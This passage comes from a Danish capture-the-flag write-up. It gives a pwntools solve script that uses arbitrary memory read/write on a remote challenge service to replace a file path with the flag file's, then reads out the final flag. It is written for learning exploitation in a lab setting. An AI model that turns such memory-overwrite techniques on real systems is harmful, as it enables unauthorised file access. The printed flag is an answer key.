[+] Opening connection to doscember.nc3 on port 1337: Done
Før modification: b'C:\\quotes.txt'
Efter modification: b'C:\\FLAG.TXT'
[*] Closed connection to doscember.nc3 port 1337

Så er der den rette værdi, det rette sted. Så skal vi bare lige betjene programmet lidt til at læse flaget ud:

def flag_2b(tgt):
    const_base = fmt_addr & 0xffff0000
    data_base = flag1_addr & 0xffff0000
    const_len = diff_pointers(const_base, data_base)

    flag2b_file = read_mem(tgt, flag2b_file_addr)
    quotes_offset = read_all(tgt, const_base, const_len).index(b'C:\\quotes.txt')
    quotes_addr = const_base + quotes_offset
    write_all(tgt, quotes_addr, flag2b_file + b'\0')

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'4\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1\n')
    tgt.recvuntil(b'\n\n   1) ')
    print('Flag 2b er:', tgt.recvuntil(b'\n')[:-1].decode('utf-8'))

with remote('doscember.nc3', 1337) as tgt:
    print_flag_addr, fmt_addr, flag1_addr, flag2b_file_addr = get_pointers(tgt)
    flag_2b(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve-wu.py 
[+] Opening connection to doscember.nc3 on port 1337: Done
Flag 2b er: NC3{Men_ogsaa_at_aendre_den_er_l33t}
[*] Closed connection to doscember.nc3 port 1337

Der var det sidste flag NC3{Men_ogsaa_at_aendre_den_er_l33t}. Det samlede solve script er her og et meget fancy script er her.